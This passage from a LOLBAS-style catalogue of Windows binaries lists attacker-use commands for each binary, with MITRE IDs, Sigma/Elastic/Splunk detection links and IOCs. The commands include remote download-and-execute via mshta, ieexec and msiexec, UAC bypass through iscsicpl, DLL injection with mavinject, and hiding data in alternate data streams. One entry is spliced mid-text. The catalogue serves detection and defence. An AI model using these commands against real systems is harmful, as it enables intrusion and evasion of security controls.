Windows 10 1703, Windows 10 22H1, Windows 10 22H2, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files\\Internet Explorer\\iediagcmd.exe\nDetection:\n - Sigma: https://github.com/manasmbellani/mycode_public/blob/master/sigma/rules/win_proc_creation_lolbin_iediagcmd.yml\n - IOC: Sysmon Event ID 1\n - IOC: Execution of process iediagcmd.exe with /out could be suspicious\nResources:\n - Link: https://twitter.com/Hexacorn/status/1507516393859731456\nAcknowledgement:\n - Person: Adam\n Handle: '@hexacorn'\n" }, { "path": "yml/OSBinaries/Ieexec.yml", "content": "---\nName: Ieexec.exe\nDescription: The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: ieexec.exe {REMOTEURL:.exe}\n Description: Downloads and executes executable from the remote server.\n Usecase: Download and run attacker code from remote location\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10\n Tags:\n - Execute: Remote\n - Execute: EXE (.NET)\n - Command: ieexec.exe {REMOTEURL:.exe}\n Description: Downloads and executes executable from the remote server.\n Usecase: Download and run attacker code from remote location\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10\n Tags:\n - Execute: Remote\n - Execute: EXE (.NET)\nFull_Path:\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ieexec.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ieexec.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml\n - IOC: Network connections originating from ieexec.exe may be suspicious\nResources:\n - Link: https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n" }, { "path": "yml/OSBinaries/Ilasm.yml", "content": "---\nName: Ilasm.exe\nDescription: used for compile c# code into dll or exe.\nAuthor: Hai vaknin (lux)\nCreated: 2020-03-17\nCommands:\n - Command: ilasm.exe {PATH_ABSOLUTE:.txt} /exe\n Description: Binary file used by .NET to compile C#/intermediate (IL) code to .exe\n Usecase: Compile attacker code on system. Bypass defensive counter measures.\n Category: Compile\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows 7, Windows 10, Windows 11\n - Command: ilasm.exe {PATH_ABSOLUTE:.txt} /dll\n Description: Binary file used by .NET to compile C#/intermediate (IL) code to dll\n Usecase: A description of the usecase\n Category: Compile\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows 7, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ilasm.exe\nDetection:\n - IOC: Ilasm may not be used often in production environments (such as on endpoints)\n - Sigma: https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml\nResources:\n - Link: https://github.com/LuxNoBulIshit/BeforeCompileBy-ilasm/blob/master/hello_world.txt\nAcknowledgement:\n - Person: Hai Vaknin(Lux)\n Handle: '@VakninHai'\n - Person: Lior Adar\n" }, { "path": "yml/OSBinaries/Infdefaultinstall.yml", "content": "---\nName: Infdefaultinstall.exe\nDescription: Binary used to perform installation based on content inside inf files\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: InfDefaultInstall.exe {PATH:.inf}\n Description: Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.\n Usecase: Code execution\n Category: Execute\n Privileges: Admin\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: INF\nFull_Path:\n - Path: C:\\Windows\\System32\\Infdefaultinstall.exe\n - Path: C:\\Windows\\SysWOW64\\Infdefaultinstall.exe\nCode_Sample:\n - Code: https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_infdefaultinstall_execute_sct_scripts.yml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\nResources:\n - Link: https://twitter.com/KyleHanslovan/status/911997635455852544\n - Link: https://blog.conscioushacker.io/index.php/2017/10/25/evading-microsofts-autoruns/\n - Link: https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/\nAcknowledgement:\n - Person: Kyle Hanslovan\n Handle: '@kylehanslovan'\n" }, { "path": "yml/OSBinaries/Installutil.yml", "content": "---\nName: Installutil.exe\nDescription: The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}\n Description: Execute the target .NET DLL or EXE.\n Usecase: Use to execute code and bypass application whitelisting\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL (.NET)\n - Execute: EXE (.NET)\n - Command: InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}\n Description: Execute the target .NET DLL or EXE.\n Usecase: Use to execute code and bypass application whitelisting\n Category: Execute\n Privileges: User\n MitreID: T1218.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL (.NET)\n - Execute: EXE (.NET)\n - Command: InstallUtil.exe {REMOTEURL}\n Description: It will download a remote payload and place it in INetCache.\n Usecase: Downloads payload from remote server\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallUtil.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml\nResources:\n - Link: https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/\n - Link: https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12\n - Link: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md\n - Link: https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/\n - Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/\n - Link: https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n - Person: Nir Chako (Pentera)\n Handle: '@C_h4ck_0'\n" }, { "path": "yml/OSBinaries/Iscsicpl.yml", "content": "---\nName: iscsicpl.exe\nDescription: Microsoft iSCSI Initiator Control Panel tool\nAuthor: Ekitji\nCreated: 2025-08-17\nCommands:\n - Command: c:\\windows\\syswow64\\iscsicpl.exe # SysWOW64 binary\n Description: c:\\windows\\syswow64\\iscsicpl.exe has a DLL injection through `C:\\Users\\\\AppData\\Local\\Microsoft\\WindowsApps\\ISCSIEXE.dll`, resulting in UAC bypass.\n Usecase: Execute a custom DLL via a trusted high-integrity process without a UAC prompt.\n Category: UAC Bypass\n Privileges: User\n MitreID: T1548.002\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Command: iscsicpl.exe # SysWOW64/System32 binary\n Description: Both `c:\\windows\\system32\\iscsicpl.exe` and `c:\\windows\\system64\\iscsicpl.exe` have UAC bypass through launching iscicpl.exe, then navigating into the Configuration tab, clicking Report, then launching your custom command.\n Usecase: Execute a binary or script as a high-integrity process without a UAC prompt.\n Category: UAC Bypass\n Privileges: User\n MitreID: T1548.002\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Application: GUI\nFull_Path:\n - Path: c:\\windows\\system32\\iscsicpl.exe # UAC Bypass by breaking out from application\n - Path: c:\\windows\\syswow64\\iscsicpl.exe # UAC Bypass by DLL injection and breakout from application\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml\n - IOC: C:\\Users\\\\AppData\\Local\\Microsoft\\WindowsApps\\ISCSIEXE.dll\n - IOC: Suspicious child process to iscsicpl.exe like cmd, powershell etc.\nResources:\n - Link: https://learn.microsoft.com/en-us/windows-server/storage/iscsi/iscsi-initiator-portal\n - Link: https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC\nAcknowledgement:\n - Person: hacker.house\n - Person: Ekitji\n Handle: '@eki_erk'\n" }, { "path": "yml/OSBinaries/Jsc.yml", "content": "---\nName: Jsc.exe\nDescription: Binary file used by .NET to compile JavaScript code to .exe or .dll format\nAuthor: Oddvar Moe\nCreated: 2019-05-31\nCommands:\n - Command: jsc.exe {PATH:.js}\n Description: Use jsc.exe to compile JavaScript code stored in the provided .JS file and generate a .EXE file with the same name.\n Usecase: Compile attacker code on system. Bypass defensive counter measures.\n Category: Compile\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: JScript\n - Command: jsc.exe /t:library {PATH:.js}\n Description: Use jsc.exe to compile JavaScript code stored in the .JS file and generate a DLL file with the same name.\n Usecase: Compile attacker code on system. Bypass defensive counter measures.\n Category: Compile\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: JScript\nFull_Path:\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Jsc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Jsc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Jsc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Jsc.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml\n - IOC: Jsc.exe should normally not run a system unless it is used for development.\nResources:\n - Link: https://twitter.com/DissectMalware/status/998797808907046913\n - Link: https://www.phpied.com/make-your-javascript-a-windows-exe/\nAcknowledgement:\n - Person: Malwrologist\n Handle: '@DissectMalware'\n" }, { "path": "yml/OSBinaries/Ldifde.yml", "content": "---\nName: Ldifde.exe\nDescription: Creates, modifies, and deletes LDAP directory objects.\nAuthor: Grzegorz Tworek\nCreated: 2022-08-31\nCommands:\n - Command: Ldifde -i -f {PATH:.ldf}\n Description: Import specified .ldf file into LDAP. If the file contains http-based attrval-spec such as `thumbnailPhoto:< http://example.org/somefile.txt`, the file will be downloaded into IE temp folder.\n Usecase: Download file from Internet\n Category: Download\n Privileges: Administrator\n MitreID: T1105\n OperatingSystem: Windows Server with AD Domain Services role, Windows 10 with AD LDS role.\nFull_Path:\n - Path: c:\\windows\\system32\\ldifde.exe\n - Path: c:\\windows\\syswow64\\ldifde.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/3d172914f6c2bd5c2b5ed471bf0657a662d395af/rules/windows/process_creation/proc_creation_win_ldifde_export.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/3d172914f6c2bd5c2b5ed471bf0657a662d395af/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/3d172914f6c2bd5c2b5ed471bf0657a662d395af/rules-emerging-threats/2019/TA/APT31/proc_creation_win_apt_apt31_judgement_panda.yml\nResources:\n - Link: https://twitter.com/0gtweet/status/1564968845726580736\nAcknowledgement:\n - Person: Grzegorz Tworek\n Handle: '@0gtweet'\n" }, { "path": "yml/OSBinaries/Makecab.yml", "content": "---\nName: Makecab.exe\nDescription: Binary to package existing files into a cabinet (.cab) file\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: makecab {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:autoruns.cab\n Description: Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.\n Usecase: Hide data compressed into an alternate data stream\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Type: Compression\n - Command: makecab {PATH_SMB:.exe} {PATH_ABSOLUTE}:file.cab\n Description: Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.\n Usecase: Hide data compressed into an alternate data stream\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Type: Compression\n - Command: makecab {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}\n Description: Download and compresses the target file and stores it in the target file.\n Usecase: Download file and compress into a cab file\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Type: Compression\n - Command: makecab /F {PATH:.ddf}\n Description: Execute makecab commands as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.\n Usecase: Bypass command-line based detections\n Category: Execute\n Privileges: User\n MitreID: T1036\n OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Type: Compression\nFull_Path:\n - Path: C:\\Windows\\System32\\makecab.exe\n - Path: C:\\Windows\\SysWOW64\\makecab.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml\n - IOC: Makecab retrieving files from Internet\n - IOC: Makecab storing data into alternate data streams\nResources:\n - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n - Link: https://ss64.com/nt/makecab-directives.html\n - Link: https://www.pearsonhighered.com/assets/samplechapter/0/7/8/9/0789728583.pdf\n - Link: https://learn.microsoft.com/en-us/previous-versions/bb417343(v=msdn.10)#makecab-application\nAcknowledgement:\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OSBinaries/Mavinject.yml", "content": "---\nName: Mavinject.exe\nDescription: Used by App-v in Windows\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: MavInject.exe 3110 /INJECTRUNNING {PATH_ABSOLUTE:.dll}\n Description: Inject evil.dll into a process with PID 3110.\n Usecase: Inject dll file into running process\n Category: Execute\n Privileges: User\n MitreID: T1218.013\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Command: Mavinject.exe 4172 /INJECTRUNNING {PATH_ABSOLUTE}:file.dll\n Description: Inject file.dll stored as an Alternate Data Stream (ADS) into a process with PID 4172\n Usecase: Inject dll file into running process\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: C:\\Windows\\System32\\mavinject.exe\n - Path: C:\\Windows\\SysWOW64\\mavinject.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_mavinject_process_injection.yml\n - IOC: mavinject.exe should not run unless APP-v is in use on the workstation\nResources:\n - Link: https://twitter.com/gN3mes1s/status/941315826107510784\n - Link: https://twitter.com/Hexcorn/status/776122138063409152\n - Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/\nAcknowledgement:\n - Person: Giuseppe N3mes1s\n Handle: '@gN3mes1s'\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OSBinaries/Microsoft.Workflow.Compiler.yml", "content": "---\nName: Microsoft.Workflow.Compiler.exe\nDescription: A utility included with .NET that is capable of compiling and executing C# or VB.net code.\nAuthor: Conor Richard\nCreated: 2018-10-22\nCommands:\n - Command: Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}\n Description: Compile and execute C# or VB.net code in a XOML file referenced in the first argument (any extension accepted).\n Usecase: Compile and run code\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows 10S, Windows 11\n Tags:\n - Execute: VB.Net\n - Execute: Csharp\n - Command: Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}\n Description: Compile and execute C# or VB.net code in a XOML file referenced in the test.txt file.\n Usecase: Compile and run code\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows 10S, Windows 11\n Tags:\n - Execute: XOML\n - Command: Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}\n Description: Compile and execute C# or VB.net code in a XOML file referenced in the test.txt file.\n Usecase: Compile and run code\n Category: AWL Bypass\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows 10S, Windows 11\n Tags:\n - Execute: XOML\nFull_Path:\n - Path: C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Workflow.Compiler.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_workflow_compiler.yml\n - Splunk: https://github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/suspicious_microsoft_workflow_compiler_usage.yml\n - Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_microsoft_workflow_compiler_rename.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - IOC: Microsoft.Workflow.Compiler.exe would not normally be run on workstations.\n - IOC: The presence of csc.exe or vbc.exe as child processes of Microsoft.Workflow.Compiler.exe\n - IOC: Presence of \" {PATH:.b64}\n Description: Edge will silently download the file. File extension should be .html and binaries should be encoded.\n Usecase: Download file from the internet\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n - Command: msedge.exe --disable-gpu-sandbox --gpu-launcher=\"{CMD} &&\"\n Description: Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command\n Usecase: Executes a process under a trusted Microsoft signed binary\n Category: Execute\n Privileges: User\n MitreID: T1218.015\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: c:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe\n - Path: c:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_msedge_arbitrary_download.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml\nResources:\n - Link: https://twitter.com/mrd0x/status/1478116126005641220\n - Link: https://twitter.com/mrd0x/status/1478234484881436672\nAcknowledgement:\n - Person: mr.d0x\n Handle: '@mrd0x'\n" }, { "path": "yml/OSBinaries/Mshta.yml", "content": "---\nName: Mshta.exe\nDescription: Used by Windows to execute html applications. (.hta)\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: mshta.exe {PATH:.hta}\n Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.\n Usecase: Execute code\n Category: Execute\n Privileges: User\n MitreID: T1218.005\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: HTA\n - Execute: Remote\n - Command: mshta.exe vbscript:Close(Execute(\"GetObject(\"\"script:{REMOTEURL:.sct}\"\")\"))\n Description: Executes VBScript supplied as a command line argument.\n Usecase: Execute code\n Category: Execute\n Privileges: User\n MitreID: T1218.005\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: VBScript\n - Command: mshta.exe javascript:a=GetObject(\"script:{REMOTEURL:.sct}\").Exec();close();\n Description: Executes JavaScript supplied as a command line argument.\n Usecase: Execute code\n Category: Execute\n Privileges: User\n MitreID: T1218.005\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: JScript\n - Command: mshta.exe \"{PATH_ABSOLUTE}:file.hta\"\n Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.\n Usecase: Execute code hidden in alternate data stream\n Category: ADS\n Privileges: User\n MitreID: T1218.005\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)\n Tags:\n - Execute: HTA\n - Command: mshta.exe {REMOTEURL}\n Description: It will download a remote payload and place it in INetCache.\n Usecase: Downloads payload from remote server\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Windows\\System32\\mshta.exe\n - Path: C:\\Windows\\SysWOW64\\mshta.exe\nCode_Sample:\n - Code: https://gist.github.com/bohops/6ded40c4989c673f2e30b9a6c1985019\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/f8f643041a584621e66cf8e6d534ad3db92edc29/rules/windows/defense_evasion_mshta_beacon.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/lateral_movement_dcom_hta.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml\n - Splunk: https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/stories/suspicious_mshta_activity.yml\n - Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_renamed.yml\n - Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_spawn.yml\n - Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_child_process.yml\n - Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_url_in_command_line.yml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - IOC: mshta.exe executing raw or obfuscated script within the command-line\n - IOC: General usage of HTA file\n - IOC: msthta.exe network connection to Internet/WWW resource\n - IOC: DotNet CLR libraries loaded into mshta.exe\n - IOC: DotNet CLR Usage Log - mshta.exe.log\nResources:\n - Link: https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4\n - Link: https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct\n - Link: https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/\n - Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n - Person: Nir Chako (Pentera)\n Handle: '@C_h4ck_0'\n" }, { "path": "yml/OSBinaries/Msiexec.yml", "content": "---\nName: Msiexec.exe\nDescription: Used by Windows to execute msi files\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: msiexec /quiet /i {PATH:.msi}\n Description: Installs the target .MSI file silently.\n Usecase: Execute custom made msi file with attack code\n Category: Execute\n Privileges: User\n MitreID: T1218.007\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: MSI\n - Command: msiexec /q /i {REMOTEURL}\n Description: Installs the target remote & renamed .MSI file silently.\n Usecase: Execute custom made msi file with attack code from remote server\n Category: Execute\n Privileges: User\n MitreID: T1218.007\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: MSI\n - Execute: Remote\n - Command: msiexec /y {PATH_ABSOLUTE:.dll}\n Description: Calls DllRegisterServer to register the target DLL.\n Usecase: Execute dll files\n Category: Execute\n Privileges: User\n MitreID: T1218.007\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Execute: Remote\n - Command: msiexec /z {PATH_ABSOLUTE:.dll}\n Description: Calls DllUnregisterServer to un-register the target DLL.\n Usecase: Execute dll files\n Category: Execute\n Privileges: User\n MitreID: T1218.007\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Execute: Remote\n - Command: msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS=\"{REMOTEURL:.mst}\" /qb\n Description: Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.\n Usecase: Install trusted and signed msi file, with additional attack code as transformation file, from a remote server\n Category: Execute\n Privileges: User\n MitreID: T1218.007\n OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: MSI\n - Execute: MST\n - Execute: Remote\nFull_Path:\n - Path: C:\\Windows\\System32\\msiexec.exe\n - Path: C:\\Windows\\SysWOW64\\msiexec.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msiexec_web_install.yml\n - Sigma: 